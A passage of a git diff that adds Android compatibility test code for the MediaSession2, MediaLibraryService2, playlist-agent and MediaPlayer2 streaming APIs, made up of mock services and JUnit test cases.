+        boolean foundTestLibraryService = false;
+        List<SessionToken2> tokens = mManager.getSessionServiceTokens();
+        for (int i = 0; i < tokens.size(); i++) {
+            SessionToken2 token = tokens.get(i);
+            if (mContext.getPackageName().equals(token.getPackageName())
+                    && MockMediaSessionService2.ID.equals(token.getId())) {
+                assertFalse(foundTestSessionService);
+                assertEquals(SessionToken2.TYPE_SESSION_SERVICE, token.getType());
+                foundTestSessionService = true;
+            } else if (mContext.getPackageName().equals(token.getPackageName())
+                    && MockMediaLibraryService2.ID.equals(token.getId())) {
+                assertFalse(foundTestLibraryService);
+                assertEquals(SessionToken2.TYPE_LIBRARY_SERVICE, token.getType());
+                foundTestLibraryService = true;
+            }
+        }
+        assertTrue(foundTestSessionService);
+        assertTrue(foundTestLibraryService);
+    }
+
+    @Test
+    public void testGetAllSessionTokens() throws InterruptedException {
+        boolean foundTestSession = false;
+        boolean foundTestSessionService = false;
+        boolean foundTestLibraryService = false;
+        List<SessionToken2> tokens = mManager.getAllSessionTokens();
+        for (int i = 0; i < tokens.size(); i++) {
+            SessionToken2 token = tokens.get(i);
+            if (!mContext.getPackageName().equals(token.getPackageName())) {
+                continue;
+            }
+            switch (token.getId()) {
+                case TAG:
+                    assertFalse(foundTestSession);
+                    foundTestSession = true;
+                    break;
+                case MockMediaSessionService2.ID:
+                    assertFalse(foundTestSessionService);
+                    foundTestSessionService = true;
+                    assertEquals(SessionToken2.TYPE_SESSION_SERVICE, token.getType());
+                    break;
+                case MockMediaLibraryService2.ID:
+                    assertFalse(foundTestLibraryService);
+                    assertEquals(SessionToken2.TYPE_LIBRARY_SERVICE, token.getType());
+                    foundTestLibraryService = true;
+                    break;
+                default:
+                    fail("Unexpected session " + token + " exists in the package");
+            }
+        }
+        assertTrue(foundTestSession);
+        assertTrue(foundTestSessionService);
+        assertTrue(foundTestLibraryService);
+    }
+
+    @Test
+    public void testAddOnSessionTokensChangedListener() throws InterruptedException {
+        TokensChangedListener listener = new TokensChangedListener();
+        mManager.addOnSessionTokensChangedListener(sHandlerExecutor, listener);
+
+        listener.reset();
+        MediaSession2 session1 = new MediaSession2.Builder(mContext)
+                .setPlayer(new MockPlayer(0))
+                .setId(UUID.randomUUID().toString())
+                .build();
+        assertTrue(listener.await());
+        assertTrue(listener.findToken(session1.getToken()));
+
+        listener.reset();
+        session1.close();
+        assertTrue(listener.await());
+        assertFalse(listener.findToken(session1.getToken()));
+
+        listener.reset();
+        MediaSession2 session2 = new MediaSession2.Builder(mContext)
+                .setPlayer(new MockPlayer(0))
+                .setId(UUID.randomUUID().toString())
+                .build();
+        assertTrue(listener.await());
+        assertFalse(listener.findToken(session1.getToken()));
+        assertTrue(listener.findToken(session2.getToken()));
+
+        listener.reset();
+        MediaSession2 session3 = new MediaSession2.Builder(mContext)
+                .setPlayer(new MockPlayer(0))
+                .setId(UUID.randomUUID().toString())
+                .build();
+        assertTrue(listener.await());
+        assertFalse(listener.findToken(session1.getToken()));
+        assertTrue(listener.findToken(session2.getToken()));
+        assertTrue(listener.findToken(session3.getToken()));
+
+        listener.reset();
+        session2.close();
+        assertTrue(listener.await());
+        assertFalse(listener.findToken(session1.getToken()));
+        assertFalse(listener.findToken(session2.getToken()));
+        assertTrue(listener.findToken(session3.getToken()));
+
+        listener.reset();
+        session3.close();
+        assertTrue(listener.await());
+        assertFalse(listener.findToken(session1.getToken()));
+        assertFalse(listener.findToken(session2.getToken()));
+        assertFalse(listener.findToken(session3.getToken()));
+
+        mManager.removeOnSessionTokensChangedListener(listener);
+    }
+
+    @Test
+    public void testRemoveOnSessionTokensChangedListener() throws InterruptedException {
+        TokensChangedListener listener = new TokensChangedListener();
+        mManager.addOnSessionTokensChangedListener(sHandlerExecutor, listener);
+
+        listener.reset();
+        MediaSession2 session1 = new MediaSession2.Builder(mContext)
+                .setPlayer(new MockPlayer(0))
+                .setId(UUID.randomUUID().toString())
+                .build();
+        assertTrue(listener.await());
+
+        mManager.removeOnSessionTokensChangedListener(listener);
+
+        listener.reset();
+        session1.close();
+        assertFalse(listener.await());
+
+        listener.reset();
+        MediaSession2 session2 = new MediaSession2.Builder(mContext)
+                .setPlayer(new MockPlayer(0))
+                .setId(UUID.randomUUID().toString())
+                .build();
+        assertFalse(listener.await());
+
+        listener.reset();
+        MediaSession2 session3 = new MediaSession2.Builder(mContext)
+                .setPlayer(new MockPlayer(0))
+                .setId(UUID.randomUUID().toString())
+                .build();
+        assertFalse(listener.await());
+
+        listener.reset();
+        session2.close();
+        assertFalse(listener.await());
+
+        listener.reset();
+        session3.close();
+        assertFalse(listener.await());
+    }
+
+    private class TokensChangedListener implements OnSessionTokensChangedListener {
+        private CountDownLatch mLatch;
+        private List<SessionToken2> mTokens;
+
+        private void reset() {
+            mLatch = new CountDownLatch(1);
+            mTokens = null;
+        }
+
+        private boolean await() throws InterruptedException {
+            return mLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS);
+        }
+
+        private boolean findToken(SessionToken2 token) {
+            return mTokens.contains(token);
+        }
+
+        @Override
+        public void onSessionTokensChanged(List<SessionToken2> tokens) {
+            mTokens = tokens;
+            mLatch.countDown();
+        }
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/MockMediaLibraryService2.java b/tests/tests/media/src/android/media/cts/MockMediaLibraryService2.java
new file mode 100644
index 0000000..4c4b3f6
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MockMediaLibraryService2.java
@@ -0,0 +1,236 @@
+/*
+* Copyright 2018 The Android Open Source Project
+*
+* Licensed under the Apache License, Version 2.0 (the "License");
+* you may not use this file except in compliance with the License.
+* You may obtain a copy of the License at
+*
+*      http://www.apache.org/licenses/LICENSE-2.0
+*
+* Unless required by applicable law or agreed to in writing, software
+* distributed under the License is distributed on an "AS IS" BASIS,
+* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+* See the License for the specific language governing permissions and
+* limitations under the License.
+*/
+
+package android.media.cts;
+
+import static junit.framework.Assert.fail;
+
+import static org.junit.Assert.assertEquals;
+
+import android.content.Context;
+import android.media.DataSourceDesc;
+import android.media.MediaItem2;
+import android.media.MediaLibraryService2;
+import android.media.MediaMetadata2;
+import android.media.MediaSession2.ControllerInfo;
+import android.media.MediaLibraryService2.MediaLibrarySession.MediaLibrarySessionCallback;
+import android.media.SessionToken2;
+import android.media.cts.TestUtils.SyncHandler;
+import android.os.Bundle;
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import android.util.Log;
+
+import java.io.FileDescriptor;
+import java.util.ArrayList;
+import java.util.List;
+
+import java.util.concurrent.Executor;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+
+import javax.annotation.concurrent.GuardedBy;
+
+/**
+ * Mock implementation of {@link MediaLibraryService2} for testing.
+ */
+public class MockMediaLibraryService2 extends MediaLibraryService2 {
+    // Keep in sync with the AndroidManifest.xml
+    public static final String ID = "TestLibrary";
+
+    public static final String ROOT_ID = "rootId";
+    public static final Bundle EXTRAS = new Bundle();
+
+    public static final String MEDIA_ID_GET_ITEM = "media_id_get_item";
+
+    public static final String PARENT_ID = "parent_id";
+    public static final String PARENT_ID_NO_CHILDREN = "parent_id_no_children";
+    public static final String PARENT_ID_ERROR = "parent_id_error";
+
+    public static final List<MediaItem2> GET_CHILDREN_RESULT = new ArrayList<>();
+    public static final int CHILDREN_COUNT = 100;
+
+    public static final String SEARCH_QUERY = "search_query";
+    public static final String SEARCH_QUERY_TAKES_TIME = "search_query_takes_time";
+    public static final int SEARCH_TIME_IN_MS = 5000;
+    public static final String SEARCH_QUERY_EMPTY_RESULT = "search_query_empty_result";
+
+    public static final List<MediaItem2> SEARCH_RESULT = new ArrayList<>();
+    public static final int SEARCH_RESULT_COUNT = 50;
+
+    private static final DataSourceDesc DATA_SOURCE_DESC =
+            new DataSourceDesc.Builder().setDataSource(new FileDescriptor()).build();
+
+    private static final String TAG = "MockMediaLibrarySvc2";
+
+    static {
+        EXTRAS.putString(ROOT_ID, ROOT_ID);
+    }
+    @GuardedBy("MockMediaLibraryService2.class")
+    private static SessionToken2 sToken;
+
+    private MediaLibrarySession mSession;
+
+    public MockMediaLibraryService2() {
+        super();
+        GET_CHILDREN_RESULT.clear();
+        String getChildrenMediaIdPrefix = "get_children_media_id_";
+        for (int i = 0; i < CHILDREN_COUNT; i++) {
+            GET_CHILDREN_RESULT.add(createMediaItem(getChildrenMediaIdPrefix + i));
+        }
+
+        SEARCH_RESULT.clear();
+        String getSearchResultMediaIdPrefix = "get_search_result_media_id_";
+        for (int i = 0; i < SEARCH_RESULT_COUNT; i++) {
+            SEARCH_RESULT.add(createMediaItem(getSearchResultMediaIdPrefix + i));
+        }
+    }
+
+    @Override
+    public void onCreate() {
+        TestServiceRegistry.getInstance().setServiceInstance(this);
+        super.onCreate();
+    }
+
+    @Override
+    public MediaLibrarySession onCreateSession(String sessionId) {
+        final MockPlayer player = new MockPlayer(1);
+        final SyncHandler handler = (SyncHandler) TestServiceRegistry.getInstance().getHandler();
+        final Executor executor = (runnable) -> handler.post(runnable);
+        MediaLibrarySessionCallback librarySessionCallback = (MediaLibrarySessionCallback)
+                TestServiceRegistry.getInstance().getSessionCallback();
+        if (librarySessionCallback == null) {
+            // Use default callback
+            librarySessionCallback = new TestLibrarySessionCallback();
+        }
+        mSession = new MediaLibrarySession.Builder(MockMediaLibraryService2.this, executor,
+                librarySessionCallback).setPlayer(player).setId(sessionId).build();
+        return mSession;
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+        TestServiceRegistry.getInstance().cleanUp();
+    }
+
+    public static SessionToken2 getToken(Context context) {
+        synchronized (MockMediaLibraryService2.class) {
+            if (sToken == null) {
+                sToken = new SessionToken2(context, context.getPackageName(),
+                        MockMediaLibraryService2.class.getName());
+                assertEquals(SessionToken2.TYPE_LIBRARY_SERVICE, sToken.getType());
+            }
+            return sToken;
+        }
+    }
+
+    private class TestLibrarySessionCallback extends MediaLibrarySessionCallback {
+        @Override
+        public LibraryRoot onGetLibraryRoot(MediaLibrarySession session, ControllerInfo controller,
+                Bundle rootHints) {
+            return new LibraryRoot(ROOT_ID, EXTRAS);
+        }
+
+        @Override
+        public MediaItem2 onGetItem(MediaLibrarySession session, ControllerInfo controller,
+                String mediaId) {
+            if (MEDIA_ID_GET_ITEM.equals(mediaId)) {
+                return createMediaItem(mediaId);
+            } else {
+                return null;
+            }
+        }
+
+        @Override
+        public List<MediaItem2> onGetChildren(MediaLibrarySession session,
+                ControllerInfo controller, String parentId, int page, int pageSize, Bundle extras) {
+            if (PARENT_ID.equals(parentId)) {
+                return getPaginatedResult(GET_CHILDREN_RESULT, page, pageSize);
+            } else if (PARENT_ID_ERROR.equals(parentId)) {
+                return null;
+            }
+            // Includes the case of PARENT_ID_NO_CHILDREN.
+            return new ArrayList<>();
+        }
+
+        @Override
+        public void onSearch(MediaLibrarySession session, ControllerInfo controllerInfo,
+                String query, Bundle extras) {
+            if (SEARCH_QUERY.equals(query)) {
+                mSession.notifySearchResultChanged(controllerInfo, query, SEARCH_RESULT_COUNT,
+                        extras);
+            } else if (SEARCH_QUERY_TAKES_TIME.equals(query)) {
+                // Searching takes some time. Notify after 5 seconds.
+                Executors.newSingleThreadScheduledExecutor().schedule(new Runnable() {
+                    @Override
+                    public void run() {
+                        mSession.notifySearchResultChanged(
+                                controllerInfo, query, SEARCH_RESULT_COUNT, extras);
+                    }
+                }, SEARCH_TIME_IN_MS, TimeUnit.MILLISECONDS);
+            } else if (SEARCH_QUERY_EMPTY_RESULT.equals(query)) {
+                mSession.notifySearchResultChanged(controllerInfo, query, 0, extras);
+            } else {
+                // TODO: For the error case, how should we notify the browser?
+            }
+        }
+
+        @Override
+        public List<MediaItem2> onGetSearchResult(MediaLibrarySession session,
+                ControllerInfo controllerInfo, String query, int page, int pageSize,
+                Bundle extras) {
+            if (SEARCH_QUERY.equals(query)) {
+                return getPaginatedResult(SEARCH_RESULT, page, pageSize);
+            } else {
+                return null;
+            }
+        }
+    }
+
+    private List<MediaItem2> getPaginatedResult(List<MediaItem2> items, int page, int pageSize) {
+        if (items == null) {
+            return null;
+        } else if (items.size() == 0) {
+            return new ArrayList<>();
+        }
+
+        final int totalItemCount = items.size();
+        int fromIndex = (page - 1) * pageSize;
+        int toIndex = Math.min(page * pageSize, totalItemCount);
+
+        List<MediaItem2> paginatedResult = new ArrayList<>();
+        try {
+            // The case of (fromIndex >= totalItemCount) will throw exception below.
+            paginatedResult = items.subList(fromIndex, toIndex);
+        } catch (IndexOutOfBoundsException | IllegalArgumentException ex) {
+            Log.d(TAG, "Result is empty for given pagination arguments: totalItemCount="
+                    + totalItemCount + ", page=" + page + ", pageSize=" + pageSize, ex);
+        }
+        return paginatedResult;
+    }
+
+    private MediaItem2 createMediaItem(String mediaId) {
+        Context context = MockMediaLibraryService2.this;
+        return new MediaItem2.Builder(0 /* Flags */)
+                .setMediaId(mediaId)
+                .setDataSourceDesc(DATA_SOURCE_DESC)
+                .setMetadata(new MediaMetadata2.Builder()
+                                .putString(MediaMetadata2.METADATA_KEY_MEDIA_ID, mediaId)
+                                .build())
+                .build();
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/MockMediaSessionService2.java b/tests/tests/media/src/android/media/cts/MockMediaSessionService2.java
new file mode 100644
index 0000000..330637e
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MockMediaSessionService2.java
@@ -0,0 +1,92 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.content.Context;
+import android.media.MediaSession2;
+import android.media.MediaSession2.SessionCallback;
+import android.media.MediaSessionService2;
+import android.media.cts.TestUtils.SyncHandler;
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import java.util.concurrent.Executor;
+
+/**
+ * Mock implementation of {@link MediaSessionService2} for testing.
+ */
+public class MockMediaSessionService2 extends MediaSessionService2 {
+    // Keep in sync with the AndroidManifest.xml
+    public static final String ID = "TestSession";
+
+    private static final String DEFAULT_MEDIA_NOTIFICATION_CHANNEL_ID = "media_session_service";
+    private static final int DEFAULT_MEDIA_NOTIFICATION_ID = 1001;
+
+    private NotificationChannel mDefaultNotificationChannel;
+    private MediaSession2 mSession;
+    private NotificationManager mNotificationManager;
+
+    @Override
+    public void onCreate() {
+        TestServiceRegistry.getInstance().setServiceInstance(this);
+        super.onCreate();
+        mNotificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+    }
+
+    @Override
+    public MediaSession2 onCreateSession(String sessionId) {
+        final MockPlayer player = new MockPlayer(1);
+        final SyncHandler handler = (SyncHandler) TestServiceRegistry.getInstance().getHandler();
+        final Executor executor = (runnable) -> handler.post(runnable);
+        SessionCallback sessionCallback = TestServiceRegistry.getInstance().getSessionCallback();
+        if (sessionCallback == null) {
+            // Ensures non-null
+            sessionCallback = new SessionCallback() {};
+        }
+        mSession = new MediaSession2.Builder(this)
+                .setPlayer(player)
+                .setSessionCallback(executor, sessionCallback)
+                .setId(sessionId).build();
+        return mSession;
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+        TestServiceRegistry.getInstance().cleanUp();
+    }
+
+    @Override
+    public MediaNotification onUpdateNotification() {
+        if (mDefaultNotificationChannel == null) {
+            mDefaultNotificationChannel = new NotificationChannel(
+                    DEFAULT_MEDIA_NOTIFICATION_CHANNEL_ID,
+                    DEFAULT_MEDIA_NOTIFICATION_CHANNEL_ID,
+                    NotificationManager.IMPORTANCE_DEFAULT);
+            mNotificationManager.createNotificationChannel(mDefaultNotificationChannel);
+        }
+        Notification notification = new Notification.Builder(
+                this, DEFAULT_MEDIA_NOTIFICATION_CHANNEL_ID)
+                .setContentTitle(getPackageName())
+                .setContentText("Dummt test notification")
+                .setSmallIcon(android.R.drawable.sym_def_app_icon).build();
+        return new MediaNotification(DEFAULT_MEDIA_NOTIFICATION_ID, notification);
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/MockPlaylistAgent.java b/tests/tests/media/src/android/media/cts/MockPlaylistAgent.java
new file mode 100644
index 0000000..ca7bc92
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MockPlaylistAgent.java
@@ -0,0 +1,143 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.media.MediaItem2;
+import android.media.MediaMetadata2;
+import android.media.MediaPlaylistAgent;
+
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+
+/**
+ * A mock implementation of {@link MediaPlaylistAgent} for testing.
+ * <p>
+ * Do not use mockito for {@link MediaPlaylistAgent}. Instead, use this.
+ * Mocks created from mockito should not be shared across different threads.
+ */
+public class MockPlaylistAgent extends MediaPlaylistAgent {
+    public final CountDownLatch mCountDownLatch = new CountDownLatch(1);
+
+    public List<MediaItem2> mPlaylist;
+    public MediaMetadata2 mMetadata;
+    public MediaItem2 mItem;
+    public int mIndex = -1;
+    public @RepeatMode int mRepeatMode = -1;
+    public @ShuffleMode int mShuffleMode = -1;
+
+    public boolean mSetPlaylistCalled;
+    public boolean mUpdatePlaylistMetadataCalled;
+    public boolean mAddPlaylistItemCalled;
+    public boolean mRemovePlaylistItemCalled;
+    public boolean mReplacePlaylistItemCalled;
+    public boolean mSkipToPlaylistItemCalled;
+    public boolean mSkipToPreviousItemCalled;
+    public boolean mSkipToNextItemCalled;
+    public boolean mSetRepeatModeCalled;
+    public boolean mSetShuffleModeCalled;
+
+    @Override
+    public List<MediaItem2> getPlaylist() {
+        return mPlaylist;
+    }
+
+    @Override
+    public void setPlaylist(List<MediaItem2> list, MediaMetadata2 metadata) {
+        mSetPlaylistCalled = true;
+        mPlaylist = list;
+        mMetadata = metadata;
+        mCountDownLatch.countDown();
+    }
+
+    @Override
+    public MediaMetadata2 getPlaylistMetadata() {
+        return mMetadata;
+    }
+
+    @Override
+    public void updatePlaylistMetadata(MediaMetadata2 metadata) {
+        mUpdatePlaylistMetadataCalled = true;
+        mMetadata = metadata;
+        mCountDownLatch.countDown();
+    }
+
+    @Override
+    public void addPlaylistItem(int index, MediaItem2 item) {
+        mAddPlaylistItemCalled = true;
+        mIndex = index;
+        mItem = item;
+        mCountDownLatch.countDown();
+    }
+
+    @Override
+    public void removePlaylistItem(MediaItem2 item) {
+        mRemovePlaylistItemCalled = true;
+        mItem = item;
+        mCountDownLatch.countDown();
+    }
+
+    @Override
+    public void replacePlaylistItem(int index, MediaItem2 item) {
+        mReplacePlaylistItemCalled = true;
+        mIndex = index;
+        mItem = item;
+        mCountDownLatch.countDown();
+    }
+
+    @Override
+    public void skipToPlaylistItem(MediaItem2 item) {
+        mSkipToPlaylistItemCalled = true;
+        mItem = item;
+        mCountDownLatch.countDown();
+    }
+
+    @Override
+    public void skipToPreviousItem() {
+        mSkipToPreviousItemCalled = true;
+        mCountDownLatch.countDown();
+    }
+
+    @Override
+    public void skipToNextItem() {
+        mSkipToNextItemCalled = true;
+        mCountDownLatch.countDown();
+    }
+
+    @Override
+    public int getRepeatMode() {
+        return mRepeatMode;
+    }
+
+    @Override
+    public void setRepeatMode(int repeatMode) {
+        mSetRepeatModeCalled = true;
+        mRepeatMode = repeatMode;
+        mCountDownLatch.countDown();
+    }
+
+    @Override
+    public int getShuffleMode() {
+        return mShuffleMode;
+    }
+
+    @Override
+    public void setShuffleMode(int shuffleMode) {
+        mSetShuffleModeCalled = true;
+        mShuffleMode = shuffleMode;
+        mCountDownLatch.countDown();
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/media/src/android/media/cts/SessionToken2Test.java b/tests/tests/media/src/android/media/cts/SessionToken2Test.java
new file mode 100644
index 0000000..a930698
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/SessionToken2Test.java
@@ -0,0 +1,69 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static junit.framework.Assert.assertEquals;
+
+import android.content.Context;
+import android.media.SessionToken2;
+import android.os.Process;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests {@link SessionToken2}.
+ */
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+@Ignore
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class SessionToken2Test {
+    private Context mContext;
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
+    }
+
+    @Test
+    public void testConstructor_sessionService() {
+        SessionToken2 token = new SessionToken2(mContext, mContext.getPackageName(),
+                MockMediaSessionService2.class.getCanonicalName());
+        assertEquals(MockMediaSessionService2.ID, token.getId());
+        assertEquals(mContext.getPackageName(), token.getPackageName());
+        assertEquals(Process.myUid(), token.getUid());
+        assertEquals(SessionToken2.TYPE_SESSION_SERVICE, token.getType());
+    }
+
+    @Test
+    public void testConstructor_libraryService() {
+        SessionToken2 token = new SessionToken2(mContext, mContext.getPackageName(),
+                MockMediaLibraryService2.class.getCanonicalName());
+        assertEquals(MockMediaLibraryService2.ID, token.getId());
+        assertEquals(mContext.getPackageName(), token.getPackageName());
+        assertEquals(Process.myUid(), token.getUid());
+        assertEquals(SessionToken2.TYPE_LIBRARY_SERVICE, token.getType());
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/media/src/android/media/cts/StreamingMediaPlayer2Test.java b/tests/tests/media/src/android/media/cts/StreamingMediaPlayer2Test.java
new file mode 100644
index 0000000..c1769ac
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/StreamingMediaPlayer2Test.java
@@ -0,0 +1,814 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts;
+
+import android.media.BufferingParams;
+import android.media.DataSourceDesc;
+import android.media.MediaFormat;
+import android.media.MediaPlayer2;
+import android.media.MediaPlayer2.TrackInfo;
+import android.media.TimedMetaData;
+import android.media.cts.TestUtils.Monitor;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Looper;
+import android.os.PowerManager;
+import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
+import android.test.InstrumentationTestRunner;
+import android.util.Log;
+import android.webkit.cts.CtsTestServer;
+
+import com.android.compatibility.common.util.DynamicConfigDeviceSide;
+import com.android.compatibility.common.util.MediaUtils;
+
+import java.net.HttpCookie;
+import java.util.concurrent.atomic.AtomicInteger;
+import java.util.HashMap;
+import java.util.List;
+
+/**
+ * Tests of MediaPlayer2 streaming capabilities.
+ */
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class StreamingMediaPlayer2Test extends MediaPlayer2TestBase {
+    // TODO: remove this flag to enable tests.
+    private static final boolean IGNORE_TESTS = true;
+
+    private static final String TAG = "StreamingMediaPlayer2Test";
+
+    private static final String HTTP_H263_AMR_VIDEO_1_KEY =
+            "streaming_media_player_test_http_h263_amr_video1";
+    private static final String HTTP_H263_AMR_VIDEO_2_KEY =
+            "streaming_media_player_test_http_h263_amr_video2";
+    private static final String HTTP_H264_BASE_AAC_VIDEO_1_KEY =
+            "streaming_media_player_test_http_h264_base_aac_video1";
+    private static final String HTTP_H264_BASE_AAC_VIDEO_2_KEY =
+            "streaming_media_player_test_http_h264_base_aac_video2";
+    private static final String HTTP_MPEG4_SP_AAC_VIDEO_1_KEY =
+            "streaming_media_player_test_http_mpeg4_sp_aac_video1";
+    private static final String HTTP_MPEG4_SP_AAC_VIDEO_2_KEY =
+            "streaming_media_player_test_http_mpeg4_sp_aac_video2";
+    private static final String MODULE_NAME = "CtsMediaTestCases";
+    private DynamicConfigDeviceSide dynamicConfig;
+
+    private CtsTestServer mServer;
+
+    private String mInputUrl;
+
+    @Override
+    protected void setUp() throws Exception {
+        // if launched with InstrumentationTestRunner to pass a command line argument
+        if (getInstrumentation() instanceof InstrumentationTestRunner) {
+            InstrumentationTestRunner testRunner =
+                    (InstrumentationTestRunner)getInstrumentation();
+
+            Bundle arguments = testRunner.getArguments();
+            mInputUrl = arguments.getString("url");
+            Log.v(TAG, "setUp: arguments: " + arguments);
+            if (mInputUrl != null) {
+                Log.v(TAG, "setUp: arguments[url] " + mInputUrl);
+            }
+        }
+
+        super.setUp();
+        dynamicConfig = new DynamicConfigDeviceSide(MODULE_NAME);
+    }
+
+/* RTSP tests are more flaky and vulnerable to network condition.
+   Disable until better solution is available
+    // Streaming RTSP video from YouTube
+    public void testRTSP_H263_AMR_Video1() throws Exception {
+        playVideoTest("rtsp://v2.cache7.c.youtube.com/video.3gp?cid=0x271de9756065677e"
+                + "&fmt=13&user=android-device-test", 176, 144);
+    }
+    public void testRTSP_H263_AMR_Video2() throws Exception {
+        playVideoTest("rtsp://v2.cache7.c.youtube.com/video.3gp?cid=0xc80658495af60617"
+                + "&fmt=13&user=android-device-test", 176, 144);
+    }
+
+    public void testRTSP_MPEG4SP_AAC_Video1() throws Exception {
+        playVideoTest("rtsp://v2.cache7.c.youtube.com/video.3gp?cid=0x271de9756065677e"
+                + "&fmt=17&user=android-device-test", 176, 144);
+    }
+    public void testRTSP_MPEG4SP_AAC_Video2() throws Exception {
+        playVideoTest("rtsp://v2.cache7.c.youtube.com/video.3gp?cid=0xc80658495af60617"
+                + "&fmt=17&user=android-device-test", 176, 144);
+    }
+
+    public void testRTSP_H264Base_AAC_Video1() throws Exception {
+        playVideoTest("rtsp://v2.cache7.c.youtube.com/video.3gp?cid=0x271de9756065677e"
+                + "&fmt=18&user=android-device-test", 480, 270);
+    }
+    public void testRTSP_H264Base_AAC_Video2() throws Exception {
+        playVideoTest("rtsp://v2.cache7.c.youtube.com/video.3gp?cid=0xc80658495af60617"
+                + "&fmt=18&user=android-device-test", 480, 270);
+    }
+*/
+    // Streaming HTTP video from YouTube
+    public void testHTTP_H263_AMR_Video1() throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_H263,
+                  MediaFormat.MIMETYPE_AUDIO_AMR_NB)) {
+            return; // skip
+        }
+
+        String urlString = dynamicConfig.getValue(HTTP_H263_AMR_VIDEO_1_KEY);
+        playVideoTest(urlString, 176, 144);
+    }
+
+    public void testHTTP_H263_AMR_Video2() throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_H263,
+                  MediaFormat.MIMETYPE_AUDIO_AMR_NB)) {
+            return; // skip
+        }
+
+        String urlString = dynamicConfig.getValue(HTTP_H263_AMR_VIDEO_2_KEY);
+        playVideoTest(urlString, 176, 144);
+    }
+
+    public void testHTTP_MPEG4SP_AAC_Video1() throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_MPEG4)) {
+            return; // skip
+        }
+
+        String urlString = dynamicConfig.getValue(HTTP_MPEG4_SP_AAC_VIDEO_1_KEY);
+        playVideoTest(urlString, 176, 144);
+    }
+
+    public void testHTTP_MPEG4SP_AAC_Video2() throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_MPEG4)) {
+            return; // skip
+        }
+
+        String urlString = dynamicConfig.getValue(HTTP_MPEG4_SP_AAC_VIDEO_2_KEY);
+        playVideoTest(urlString, 176, 144);
+    }
+
+    public void testHTTP_H264Base_AAC_Video1() throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
+            return; // skip
+        }
+
+        String urlString = dynamicConfig.getValue(HTTP_H264_BASE_AAC_VIDEO_1_KEY);
+        playVideoTest(urlString, 640, 360);
+    }
+
